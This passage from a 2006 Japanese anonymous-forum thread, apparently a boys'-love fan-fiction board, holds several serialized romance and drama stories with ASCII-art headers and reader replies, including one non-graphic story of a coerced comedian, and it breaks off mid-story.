 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   | <> 風と木の名無しさん<>sage<>2006/09/26(火) 13:15:12 ID:+FtBoVfQO<> ぅぉぉぉ誰か検討つかんが萌えた! <> 風と木の名無しさん<>sage<>2006/09/26(火) 13:56:38 ID:6taGE/lK0<> 自分もこのゲ仁ソさんわからないけど萌えましたっ!! <> 風と木の名無しさん<>sage<>2006/09/26(火) 19:19:32 ID:DDjz00XJO<> 誰なのか気になって仕方が無い…
良ければヒントだけでもorz <> 風と木の名無しさん<>sage<>2006/09/26(火) 20:32:13 ID:aOEDHiR40<> >>34
誰だかわからないがもはや萌えすぎて意味が分からない!
姐さん超GJ! <> 風と木の名無しさん<>sage<>2006/09/26(火) 23:32:12 ID:3j8lwT/V0<> >コンビは解散。相方は、あっさりとお笑いを辞めてしまった。
>しかも、「もう業界には二度と戻ってこない」という言葉付。

このへんなんか聞き覚えあるんだが、思い出せん!
ヒントを!
<> 風と木の名無しさん<>sage<>2006/09/27(水) 00:10:43 ID:5L1LWdru0<> なるこざか? <> 風と木の名無しさん<>sage<>2006/09/27(水) 02:43:28 ID:KefJRvmQ0<>
                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  オリジナル・大学生同士
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|   ヘタレ攻め×無邪気受け……風味
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ イチャついてもないですが
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
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 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

オリジ書いてみたくなったんだけど虹サイトなんで置く場所がなくてここに <> その1<>sage<>2006/09/27(水) 02:44:32 ID:KefJRvmQ0<> 「雅樹ぃーメシー」
玄関が勢い良く開いた音と同時に背中に飛んできた台詞に、判ってはいたものの呆れて言葉が出ない。
微かな頭痛を感じつつ、額に手を当てながら振り返った。
「……裕太、せめてチャイム鳴らしてくれ」
「えー?開いてるんだからチャイムなんかいらねーだろ?」
俺の毎度の忠告をいつものようにかるーくスルーしつつ、疲れたーなどと呟きながらベッドの上にバッグを放り投げてそのまま大の字に寝転がる。
終電間近っつー時間も時間だし、バイト帰りだから疲れてんのも判るし、寝転がりたくなる気持ちも判るけど、せめて一回でも俺の方を見てからにしろよ、と思わずツッコミを入れた。
こいつは俺ん家と家主の俺をなんだと思ってんだ。
「雅樹ー今夜のメシなにー?」
グッタリとベッドに寝転がりつつ催促するように掛けられた言葉で、疑問は悲しいほどあっさりと解決した。
―――メシが食えて寝られる場所とメシと寝床の提供者だ。 <> その2<>sage<>2006/09/27(水) 02:45:33 ID:KefJRvmQ0<>
「はー食った食った!やっぱ雅樹のメシはうめぇなー!」
満足満足と言いたげににこにこしながらオヤジみたいに腹をポンポン叩き、そのまま引っくり返る要領でまたベッドに倒れ込んだ。
見事にお決まりになった流れに溜息を吐き、綺麗に平らげられた皿を重ねて立ち上がる。
「食ってソッコー寝るな。牛になるぞ」
そう言って横目で軽く睨んでキッチンへ向うと、ケタケタと笑う声と枕を叩くボスッボスッと云う音が聞こえた。
「牛って!相変わらずジジくせっ」
「悪かったな、生粋のジジっ子で」
シンクに食器を突っ込みながら当て付けるようにふん、と鼻を鳴らして返す。
小さい頃から両親が共働きだった俺は祖父に育てられたも同然で、今でも実家に帰るより祖父の家に行く方が頻度が高い程のジジっ子だ。
だから俺の感覚は周りの連中とはちょっとズレてるらしく、裕太や他の奴らに『ジジ臭い』とからかわれること2年。最初こそちょっとムッとしたりもしたけど最近じゃ好きなだけ言えよ状態だ。
俺にとっちゃ自慢の爺さんだ文句あっか。
すると裕太はまたケタケタと奇怪な声で笑いながらモゾモゾ起き上がり、いやいや、と言った。
「別に悪くねーって。それでこそ雅樹だぜ」
「…そりゃ褒めてんのか貶してんのか?」
「もっちろん褒めてる。ジジ臭い雅樹最高!」
おかしそうにニヤニヤしながら軍人みたいに片手を上げてそう叫ぶ。
……なんだってこいつは夜中だっつーのにこうテンションが高いんだ?
まあ、前に俺が痛い目を見る羽目になって説教したお陰で、隣近所から苦情が来ないように気を使って声のトーンが下がってるだけマシか。
なんてすっかり裕太のペースに巻き込まれて着々と許容範囲が広がってるのを心の中で嘆きつつ食器を洗い終え、明日の朝に出すゴミを綺麗にまとめてから裕太のいる部屋に戻る。 <> その3<>sage<>2006/09/27(水) 02:47:03 ID:KefJRvmQ0<> 「裕太、風呂は?」
「んー?雅樹の後に入る」
「そう言って入れた試しがあるか?起きてるうちに入れ」
猫のようにベッドの上でゴロゴロしながら答えた裕太を軽く睨む。
ここ数ヶ月ほどこの裕太の深夜訪問が続いてるが、メシを食ってすぐ爆睡、がパターン化している。
一応、朝起きてから自宅で入ってるみたいだから不衛生とは言わないが、朝にしろ夜にしろ寝る前に風呂入ってさっぱりするのが普通だと思ってる俺にはちょっと理解出来ない。
「やーだーまだゴロゴロしてたいー。雅樹先入れよー」
俺の進言虚しく、裕太はゴロゴロ転がりつつ頭を振ると云う器用な真似をしながら子供みたいな口調で駄々を捏ねる。
満腹になるまで食ってすぐ動きたくない気持ちは判らないでもないけど、問題は寝ちまうことなんだっての。
まぁ、裕太が風呂は起きてからでいいって思ってるなら口煩く言うのも何だしな、と今日も早々と諦めて、へぇへぇ、と頷いた。
「お先に入らせて戴きますよ。思う存分ゴロゴロしてもいいけど寝るなよ」
「いえっさー!」
明らかに無駄になるだろう俺の台詞に軍人ゴッコで律儀に答えた裕太を呆れた顔で見遣り、スウェットと替えの下着を持ってバスルームへ向った。 <> その4<>sage<>2006/09/27(水) 02:48:46 ID:KefJRvmQ0<> 当たり前の話だがお互い元々はノンケで、裕太に至ってはその直前まで彼女がいたんだけど、まぁなんつーか、そーゆー事だ、うん。
まさかなんてことないその切っ掛けで男の恋人ができるなんて思わなかったけど、今となっちゃなるべくしてなったって気がしてるんだから不思議なもんだ。
元々友達としての付き合いがあった所為か変に気を使う必要がないし、女みたいにちょっとしたことで疑ったり怒ったりしないし、なにより一緒にいて居心地がいい。
バカみたいな話で盛り上がって、時々気が向いたらどちらからともなくキスをしたりして、友人と恋人の中間をフラフラしてるような感じだ。
だけど最近、ちょっと物足りないとか思ってるのもまた本音で。 <> その5<>sage<>2006/09/27(水) 02:49:18 ID:KefJRvmQ0<> 「……やっぱりか」
1時間ほどで風呂から上がって部屋に戻ると案の定、大の字に寝転がったままくうくうと寝息を立てる裕太の姿。
つけっ放しで虚しくコントを繰り広げてるテレビと、せっかく片付けたのを引っ張り出されてベッドの下に放置されてる雑誌で、一応努力はしたらしいが徒労に終わったようだ。
はぁと溜息を零しながらテレビを消して雑誌を閉じてベッドの脇にストンと腰を下ろす。
「人の気も知らねぇで」
呟きながら、ムカつく位気持ち良さそうに眠る裕太の寝顔に軽くデコピンを食らわした。
せめて俺が風呂から出てくるまでは粘れよ。下心丸出しで言わせて貰えば、イチャつく時間ぐらいくれよ。
お前がそんなんだから俺はいっつも風呂で抜く羽目になってんだぞ、判ってんのか。
一人暮らしの自分の家でだぜ?恋人と一緒にいるのにだぜ?おかしいだろ。
俺たちは付き合ってる。それは多分裕太だって自覚してる。
ちゃんと告白だってしたし、それっぽいメールのやりとりだってするし、キスだってする。
だけど付き合って3ヶ月、セックスをしたのは片手で足りる位だ。
最初こそそのイレギュラーなやり方に戸惑いや抵抗はあったけど、やっちまえばそんなもん気にならなくなった。
なのに付き合いたてのカップルに有るまじきこの回数の少なさは、裕太のメシ→爆睡のミラクルコンボのせいだ。
2人きりの時間がなくなれば必然的に、場所と状況を選ぶセックスが出来るチャンスも減るって云う当然の流れ。
しかも、だ。2ヶ月前にヤった時、俺が焦りすぎてちょっと強引にしちまった所為で裕太の機嫌を損ねて、痛ぇ!もうやらねぇ!なんて事になっちまってガッツリお預けを喰らってる状態。
確かにあの時は俺が悪かった。判ってる。
だからって、この蛇の生殺し状態は……かなりキツイ。
据え膳とばかりにこんな寝顔を晒されると、さっき風呂で抜いてきたってのにもうムラムラきてる。
あぁもうちくしょう。これ以上ヤバくなる前にさっさと寝るしかない。
「……このバカ」
悔し紛れに悪態を吐いて、起こさないようにその寝顔に小さくキスをしてベッドに潜り込んだ。 <> 風と木の名無しさん<>sage<>2006/09/27(水) 02:50:03 ID:KefJRvmQ0<>  ____________
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<> 風と木の名無しさん<>sage<>2006/09/27(水) 02:52:16 ID:hqora36E0<> >>34
萌えた、そして泣けた
切ない話大好きだ

なるこも飴棒ももっと前に解散してるよね
3年前がピークで関西弁…気になる <> その3.5<>sage<>2006/09/27(水) 02:55:27 ID:KefJRvmQ0<> うわぁぁ!!すいません!間が抜けてた!
3と4の間にこれが入りますorz


俺と裕太は大学の同期生で、出会ったのは入学してすぐ位だった。
専攻が違うから、もしかしたら口を聞くこともなかったかもしれない俺たちが知り合ったのは、裕太の言葉を借りればナンパだ。
と言っても、ソッチの気があってソッチ目的でって訳じゃない。
俺の身長は、誰もが振り返るってほどじゃないが平均よりは割合高くて大勢の人間の中でも多少目立つせいか、裕太はたまに見かける俺がちょっと気になってたらしく、ある日の学食でこう話しかけて来た訳だ。
『なぁなぁ、鴨居に頭ぶつけたことある?』
そんな、なんだそれ的な会話を切っ掛けにしてちょくちょく話すようになり、メールアドレスを交換して時間が合えば遊んだりして、2年経った今じゃこんな関係だ。
こんな関係ってのは気軽に寝泊りをする間柄っていうか、ぶっちゃけ付き合ってるって事だ。
ごく親しい共通の友人にも話したことないけど、この関係はもう3ヶ月位続いてる。
数ヶ月前に裕太が始めたバイト先が俺の家の近くで、更にそのバイトの残業がデフォルトでほぼ毎回終電ギリギリの時間に終わる事が重なって、
疲れ果てて家に帰る気力のない裕太が俺の家を宿代わりにしたのを切っ掛けにして半同居生活が始まり、それが続くうちにいつしかってパターン。 <> 風と木の名無しさん<>sage<>2006/09/27(水) 08:34:28 ID:rglyjiMfO<> >>49
つ、続きを…(*´Д`)ハァハァ <> 1<>sage<>2006/09/27(水) 11:25:19 ID:AvhrUsGL0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  >26の解散ゲ仁ソネタの続き投下するモナ
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|   場所だけお借りして申し訳ないです
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ 今回で終わりなので、ダメな人はスルーヨロ
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感想ありがとうございます。
ご本尊とは、あまりにもかけ離れた内容となったため、時系列・喋り方・設定など、
実際と少し変えた話にしています。そのため、ご本尊名はそっとしておいてくださると
嬉しいです。中途半端ですみません。 <> 2<>sage<>2006/09/27(水) 11:25:51 ID:AvhrUsGL0<> 風呂もついていないような、安いアパート。
その、のぼるだけでギシギシ言うような階段を、俺は痛む体をひきずりながらあがっていた。
自分の部屋として、階段から一番遠い部屋を選んだことを、今更ながら後悔している。
わざと傷つけられた体は、明日多分熱を出すだろう。痛み止めや解熱剤は高くて買えないから、
誰かを呼んで、薬を持ってきてもらわないといけない。
明日のバイトも休むしかないだろう。多分起き上がれないと思う。
というか、今にももう、全てを投げ出したいぐらい、俺は何もかもがどうでもよくなっていた。
このアパートがもう少し高いところにあったら、空中に身を投げ出していたかもしれない。
それぐらい、自暴自棄な気分なのだ。
いったい自分は何をしているのか。ふとそんな疑問が頭をよぎった。
そんな、自分ですら分からない問いに答える人なんて、誰もいるはずがない。
ましてやアイツなんて――― <> 3<>sage<>2006/09/27(水) 11:27:24 ID:AvhrUsGL0<>

「ちょっと彼のお願いを聞いてあげて」
昼間に、いきなり事務所に呼び出されたと思ったら、部長に言われた言葉。
その部長の横にいる、今、テレビをつけると必ず目にする、事務所の後輩。
新しく来たゲ仁ソブームに乗っかって、売れに売れたゲ仁ソである彼が、その前のお笑いブームで
消えた俺に、何の用だ。
そういぶかしがる間もなく、あれよあれよと俺は彼に連れて行かれ、事前にお膳立てされていた
らしい場所で、そのまま行為を強要された。
「先輩、いろんな人にやらせてるんでしょ?
 俺、一回、落ちぶれきったゲ仁ソ、いじめてみたかったんっすよ」
と、俺の意思とは関係のない、俺が抱かれる理由を、彼は喋った。
まぁ、浮き沈み激しい、この業界だ。落ちぶれた先輩ゲ仁ソを、売れっ子がいたぶりたがるのは、
よくある話だ。うちの事務所が、売れっ子をつなぎとめるために、持っているものを何でも使うのも、
かなり前からの話だし、俺は別にどんなボロボロにされても、事務所の売り上げに影響しない、と
事務所も判断してのことだろう。
俺は抵抗しなかった。ボロボロにされるのには慣れていたからだ。
むしろ、どこのAVかと思うようなことが、実際自分の身に起こると、案外こっけいなものだな、と冷めた
頭で考えていた。
<> 4<>sage<>2006/09/27(水) 11:28:50 ID:AvhrUsGL0<> 彼に色々なことを強要され、その最中に何度も酷いことをされ、キツい言葉を投げつけられても、心の
底から狂うこともできず、俺は、ずっと冷静に自分の状況を考えていた。
道具のように俺を扱う彼に好き勝手されて、半日で、俺の体には、無数のアザと傷、そして、ゲ仁ソの
命と言える声が出なくなるぐらいの疲労が残された。けれど、別に打ちのめされてはいなかった。
今歩けないぐらいのダメージをこうむっているのは、体じゃない。
彼が最後に言った言葉が原因だ。
「そういえば、アンタの相方、業界に戻ってくるらしいよ? …あれ? 知らなかった?
 構成作家になるって言ってたらしいよ。あ、連絡すら来てないんだ。
 まぁあの人は天才だから、アンタなんかもう必要じゃないんだろうね」

―――最低や。

もう何度も頭の中で繰り返してきたアイツの言葉が、今更ながら俺の心を大きくえぐった。 <> 5<>sage<>2006/09/27(水) 11:30:29 ID:AvhrUsGL0<>
やっと着いた自分の家は、半日ぶりと思えないぐらい懐かしく感じた。
玄関に座り込んだら、靴を脱ぐ気力も無くなってしまって、俺はタバコを取り出してくわえた。
ライターになかなか火がつかないのは、100円ライターのガスが無くなりかけているからか、手が
震えているからか。
あまりの情けなさに、涙がにじんできたので、俺はライターとタバコをドアにぶち当てた。
安物の薄い鉄のドアが、大きな音を立てる。
ふと、ポストに何か包みが入っているのが見えた。
ドアに取り付けられたポストには、水道料金の支払い通知しか入らないはずなのに。
不思議に思って取り出すと、箱型の小さな包みが、そこには入っていた。
住所も切手もない、俺の名前だけ書かれた小さな包み。
どうやら誰かがポストに入れていったらしい。
ひっくり返しても、送り主の名前は無い。
ふともう一度俺の名前を確認して、気づいた。
この独特の、ハネとハライ。小さくまとまりながらも、何か微妙に味がある文字。
子供の頃から、何度も何度も目にしていた文字だ。
―――アイツが送ってくるなら、一つしかない。
痛む体を無理やり動かして、俺はテレビの前に移動した。 <> 6<>sage<>2006/09/27(水) 11:32:11 ID:AvhrUsGL0<> 小包の中には、やっぱりビデオが入っていた。背には白いテープで、あの文字が踊っている。
『コント1』
俺は何もかもを忘れて、ビデオデッキにテープを押し込んだ。そして、再生ボタンを押した。
画面に数秒出る砂嵐。
そして映る、見覚えのある懐かしい顔。
そこには、アイツは映っていなかったけれども、見覚えのある仲間が、コントを演っていた。
そして、そのコントの中身は…
ああ。
俺は、涙を流しながら、映像に見入った。そして笑わされた。
そうか。お前、作家として、業界に戻ってくるんか。
コントの中に、俺へのメッセージがこめられているわけでは無かった。
けれど、痛いほど伝わるものがその中には入っていた。

―――お前と俺が面白いと思うもんを、分かりやすくすれば、天下なんて向こうから転がりこんでくるよ
<> 7<>sage<>2006/09/27(水) 11:34:15 ID:AvhrUsGL0<> 多分、俺以外笑えないだろう、シュールなコントが2つ。
そして、一番最後に入っていた、シュールを噛み砕いて、誰でも笑えるようにしたコントが1つ。
そして砂嵐。
2時間のビデオに1時間半の作品。
俺は見終わった後、巻き戻してもう一度見た。終わったらもう一度。何度見ても、笑えた。
4回目ぐらいで、解散前に二人で話していたことが、コントの中でネタとして昇華されているのを見つけた。
何度も何度もビデオを再生して、何度も何度も、俺は新しいことを発見していた。
そして俺は、そのまま眠った。 <> 8<>sage<>2006/09/27(水) 11:35:51 ID:AvhrUsGL0<>

朝になって、体の痛みで目が覚めた。
ビデオは、自動的に停止され、画面には砂嵐だけが映っていた。
俺はぼんやりとそれを見ていた。
ふとゴミ箱を見ると、ビデオを包んでいた紙が見えた。
そして気づいた。何か文字が書いてある。

『 俺はまだ、これだけ面白い。 』

思わず笑ってしまう一言だった。
俺は、携帯電話を取り出した。
何度も消そうと思って、消せなかった名前を呼び出し、まだ使われていることを祈りながら、メールを送った。

『面白かった。笑った。けど、俺の方が面白い』

送信すると、無事届いたらしく、送信完了の文字が出た。
才能ある彼を傷つけて、後ろ向きに業界から遠ざけてしまった俺。
彼と同じ傷が、いや、彼よりもひどい傷がほしくて、一生懸命後ろ向きになって、3年いたのに。
いつのまにか、彼は傷を癒して前向きに戻って、一人で進んでいたんだ。 <> 9<>sage<>2006/09/27(水) 11:36:52 ID:AvhrUsGL0<> ―――業界離れてて、ブランクある俺より、面白いもん作れよ。
結局俺は、彼に与えられてばかりのような気がする。
「前に進まなな…」
胸の中のドロドロした、自分への怒りや憎しみが、消えたわけじゃない。
この3年間が消えるわけもないし、昨日作られた傷は鮮明に残っている。体も熱っぽい。
でも、俺はもう、道に迷うことはできない、と理解していた。
二人が、もう別々の道をもう歩いていて、二度と交わることはないことは変えられないけれど、
俺が今から作るものにも、アイツとやってきたことが活かされていくんだ。
携帯電話がブルブルと振るえ、返信が帰ってきた。差出人はアイツ。

『せいぜい、楽しみにさせてくれ』

おう、と呟くと、涙があふれてきた。
ありがとうの言葉は、送らなかった。
体が治って、ええもん作って、今度は俺からビデオ送ったら伝わる。そう思った。 <> 10<>sage<>2006/09/27(水) 11:38:04 ID:AvhrUsGL0<>  ____________
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 | |                | |           ∧_∧ 以上です。
 | |                | |     ピッ   (・∀・ ) 読んでいただいてありがとうございました。
 | |                | |       ◇⊂    ) __
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<> 風と木の名無しさん<>sage<>2006/09/27(水) 11:39:03 ID:sNOg5DrD0<> リアルタイムで遭遇した。
萌えそして感動をありがとう!gj <> 風と木の名無しさん<>sage<>2006/09/27(水) 11:42:27 ID:RvrYMPlh0<> 自分もリアルタイム遭遇。
感動しますた。GJ! <> 風と木の名無しさん<>sage<>2006/09/28(木) 14:41:55 ID:Z3wcrbaj0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  トクサシ06来堕ー劇場版  御縞×夜俥
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  MY設定全開だけどね
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 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ この設定厨がァー
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )  デモキャラハコワレテル
 | |                | |       ◇⊂    )(    ) |  ヽノ___
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 ※オリジナル設定とか嫌いな方は読まないでくださいね。キャラも変です。
<> 1/5<>sage<>2006/09/28(木) 14:43:10 ID:Z3wcrbaj0<> 「この組織のボスは誰なんだ?」「その質問には答えられない」
「いることにはいるんだよな?お前ではなく」「私はトップ達からの命令を、お前達実働部隊に伝える役職でしかない」
「顔も年齢も名前、性別すら機密事項か…」「そうしてまで守らなければいけないお方なのだ」
「………」「…気は済んだか」

今まで幾度となく繰り返された問答だった。
山人は、定期的ともいえる周期で御縞とコンタクトを取り、このような言葉を交わしている。
これは山人の特権だ、本来は質問自体が許されていない。「質問は受け付けない」この一言で終りだ。
『時折浮かぶ組織への疑問を、答えられることはないと解っていても、言葉にしてぶつけることで自己メンテナンスしているのでしょう』
白衣の者どもはそんなことを言っていた。
だから、御縞は山人に付き合う。馬鹿馬鹿しいと思いながらも、それぐらいで済むなら簡単なことだ。

<> 2/5<>sage<>2006/09/28(木) 14:44:13 ID:Z3wcrbaj0<>
山人が長い溜息をついた。だいたい、これが終了の合図だ。
くるりと背を向け、去っていく…かと思いきや「そうだ」と言い出した。今までにないパターンだ。
「夜俥双はお前の何だ?」
「…何だ、とは?」
「どういう関係なんだ?」
突拍子も無い質問に御縞は面食らう。なぜ、ここで奴の名前が出てくるんだ。
「…」
答えが返ってこないので、山人は御縞を振り返る。
「前にな、あんたらの熱愛現場みたいなもんを見たんだが…」
そこで言葉を切って、山人は少し笑った。
「そう睨むな、偶然だ」
言われて御縞は眼鏡を掛けなおした。睨んでいるつもりはなかった。
「あからさまに誘ってきたんだが、お前等になんかあって、そのとばっちりじゃぁ面倒くさいと思ってな」
「関係ない、そんなことにまで組織は干渉しない、好きにしろ」
御縞ァ、楽しそうに山人が呼び掛ける。
「これは組織への質問じゃぁない、お前への質問だ」
「…」
御縞は沈黙を守り、山人に背を向けた。
くくくくく、とついに山人は笑い出した。
「正直面倒くさいんだがな、わかった、好きにする」
邪魔したな、と山人は出て行った。
御縞は時計を見る。
いつもと同じくらいだろうと見積もったのは間違いだった、もうすぐ、時間だ。

<> 3/5<>sage<>2006/09/28(木) 14:45:56 ID:Z3wcrbaj0<>
ドアが乱暴に開けられる。入ってきたのは、夜俥だ。
「御縞さん」
その声にいつもの余裕はない、早足で御縞の元に詰め寄る。
「くすりを」
くすりをください、そう言いながら唇を寄せてくる。
「まだだ、待て」
何とか押し止めながら、御縞は錠剤を数種類口に含んだ、そのまま夜俥に口移しする。
「んぅ…ぅ、く…」
執拗に舌を絡めて、夜俥は御縞の口からくすりを飲む。
全てを飲み込んだのを確認したが、夜俥は離れようとしなかった。ねだるように腰を擦りつけ、腕を回してくるのを引き剥がす。
そのまま床に座り込んだ夜俥は、艶やかに笑いながら御縞を見上げる。
「ねぇ…抱いてください…」
もう、もたないかもしれない。
御縞は眼鏡を外した。

コ一カサス玄咲ー清が組織の最高傑作だとすれば、ケ夕口ス山人哲奇は良作。
へラクス尾陀、卜゙レイク香座間も性能的には良作ではあったが、組織を裏切った今、失敗作と言わざるをえない。
そしてザ匕゙一夜俥双は、旧式である。
最初のマスク卜゙来堕ー資格適合体成功例でもあるが、現在採用されている成体クローンではなく、幼生から育てられたタイプだ。
サン一卜゙紙城も同タイプの成功例だったが、ある日突然壊れてしまった。
成長スピードを早める為に組み込んだ因子によるものとされ、夜俥にも同様のことが起こらないようにと、薬剤が投与されるようになった。
それから少しずつ、夜俥は壊れていった。
部下を大切にするエリートが、手段を問わない策士になった。
他人を気にかけるより、自分に酔うようになった。
そして、
職務遂行より、快楽を求めるようになった、か…?
山人の言葉を思い出し、思う。
だがそれは、薬剤の投与が直接の原因ではない。
薬剤の効き始めの恍惚の時間に、戯れに快楽を教えたのは御縞だ。
それから夜俥は、御縞の口からしか薬を飲まなくなった。 <> 4/5<>sage<>2006/09/28(木) 14:47:09 ID:Z3wcrbaj0<>

<ここにエロシーンがはいります>

<> 5/5<>sage<>2006/09/28(木) 14:50:08 ID:Z3wcrbaj0<>
御縞は、乱れた衣服を整えると備え付けの電話に向かった。
「洗浄を」
そう一言だけ言って、受話器を置く。
程なく、ゼワ卜ノレーパーとも、ゼワ卜一般職員とも違う制服を着た者達が来た。
夜俥を連れて行く。
「おい」
出て行こうとする一人の背中に声を掛ける。
「こいつを素体に、成体クローンを作ることは出来ないのか」
「今先生達が研究中です、しかし、成功の可能性は未だ…」
言葉を濁す男に、そうか、とだけ返して、御縞は天を仰いだ。
私を独りにするな、夜俥。
心の中で呟く。
もう、幼生タイプの生き残りは私とお前しかいないんだ。
机の上で手を組み、うなだれる。
その姿は、祈っているようにも見えた。

<> 誰か4/5の部分書いて下さい<>sage<>2006/09/28(木) 14:53:59 ID:Z3wcrbaj0<>
 ____________
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 | | □ STOP.       | |
 | |                | |           ∧_∧ 妄想設定垂れ流しー
 | |                | |     ピッ   (・∀・ )  シツレイシマシタ
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   <> 風と木の名無しさん<>sage<>2006/09/28(木) 16:51:02 ID:Mrzer/QY0<> キターと思ったら
ちょww67www <> 風と木の名無しさん<>sage<>2006/09/28(木) 16:56:05 ID:VtH7eLft0<> >>63
4/5ワロタww
逃げるな、立ち向かえ!ww <> 風と木の名無しさん<>sage<>2006/09/28(木) 17:43:44 ID:xYPRbOKW0<> 吹いたwエロシーンどうでもいいのでなおさらGJ! <> 風と木の名無しさん<>sage<>2006/09/28(木) 20:40:55 ID:6mfdLTzS0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  雑談スレでうp汁って言われた
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  正直本気で書くわけねえだろと思った
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
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 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
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<> 1<>sage<>2006/09/28(木) 20:42:16 ID:6mfdLTzS0<>  そういやぁよ、と外でメシを食っている最中あいつが俺んとこのアパートもうすぐ
契約が切れるんだけどと言い出して、そういえば俺のアパートも契約の期限が
まもなくだという封書が来て更新したばかりなのを思い出した。俺のアパートは
駅からすぐ近くで、受けは前々から俺のアパートぐらい駅に近かったら会社行くのも
楽なんだけどなぁとよく愚痴を零して、着替えやら何やら持ち込んでうちに泊まりに
きてはうちから出勤することも多かった。だからその場の思いつきというかなんと
いうか、前から考えてなくもないことでそのうち言ってみようと思ってはいたんだ
けども、このチャンスを逃すはずもなく、じゃあ俺んとこ来る?って言ったら、受けは
あっさり頷いた。
 そういうわけで、俺のアパートには住人が一人増えることになった。余分なものは
処分してベッドを買い換えて、無駄に余ってたスペースにあいつのものが置かれて、
食器が二人分になって、いとも簡単にそれは実現した。かと言って昔思い描いてた
ようなカノジョとの同棲とか新婚生活とか、そんなのとはまるで違う。お互い仕事も
あって帰ったら常にあいつがいるわけじゃないし、もちろん”おかえりなさいあなた!
食事にする?お風呂にする?それとも…”なんてこともない。メシは帰るのが早かった
方、掃除とか洗濯とかは気がついた方がやる決まりで、そこいらのルームシェアと
なんも変わりないけど、同じ場所に帰って来るってのがこんなに嬉しいんだから
不思議なもんだ。一緒の時間が増えて、2年も付き合ってんのに今更知った癖とか
あったりして、それもやけに嬉しくて俺バカみたいに幸せで、受けはいっつも俺のこと
呆れたふうに笑いつつもおんなじ気持ちなのが俺にはわかって、また俺はそれが
嬉しくなってきりがない。 <> 2<>sage<>2006/09/28(木) 20:43:01 ID:6mfdLTzS0<>  そうして一緒に暮らして半年もした頃だ。受けが突然、俺まだ攻めに言ってない
ことがあるんだと妙に神妙な顔して話を切り出した。俺に秘密があるんだと受けは
言うのだ。俺はショックというより、この期に及んでまだ隠してることがあったんだと
純粋に驚いた。もう受けの尻の穴の形状まで知り尽くしている仲だというのに。そう
言って受けを怒らせ、軽く受け流しながらも俺は受けが隠し続けてきた秘密がなんで
あっても受け止めようと心に決めていた。受けは、非常に言いにくそうに言った。
 「俺、異常に屁がくさいんだ」
 正直、俺は死ぬほど笑いそうになった。なんとか尻をつねって耐えたが、そんなこと
ぐらいで何でこんなマジな場面になってるんだかワケわからねえ。受けって前から
変なとこで気をまわすやつだったからかもしれないがちょっとこれはひどい。受けじゃ
なかったら俺もう笑い死ぬまで笑っていたところだ。どうにかこうにか真顔を作って、
俺は試しにどんだけ臭いんだか屁こいてみろよと言った。俺は受けのことを愛している。
ドリアンみたいな屁をこいたって俺は受けを愛し続ける自信がある。どうってことない。
お前の屁でアロマテラピーをしたい。そんな台詞で良かったら俺は何度だって言って
みせる。
 「…じゃ、じゃあちょうど出そうだから、屁こいてみるけど…マジで臭いからな、
言っとくけど」 <> 3<>sage<>2006/09/28(木) 20:44:24 ID:6mfdLTzS0<>  すると受けは片尻をあげるとプゥとかわいらしい音をたてて放屁した。普段は
散々バカだのアホだの氏ねだの俺に平気で罵倒したり殴ったり蹴ったりするやつが
こんなかわいい音を遠慮がちに出すなんて意外でちょっとキュンときたぐらいだ。
だが臭いは時間差でやってきた。…ヤバイ、ヤバイなんてもんじゃない。さっき
ドリアンぐらいでも全然オッケーとか思ってたけどドリアンをスキップで軽く越える
レベルだ。外国のシュールなんとかって缶詰とか沖縄の豆腐ようどころじゃない。
お前何食ってんだ?俺の知らないところで。ヤバイ、真剣にヤバイ。なんか…
あれ…意識が遠く…。受けが必死に俺の名前を呼ぶ声を聞きながら、俺は気を
失った。
 目を覚ましたとき、俺は病院のベッドにいた。心配そうに申し訳なさそうに俺の
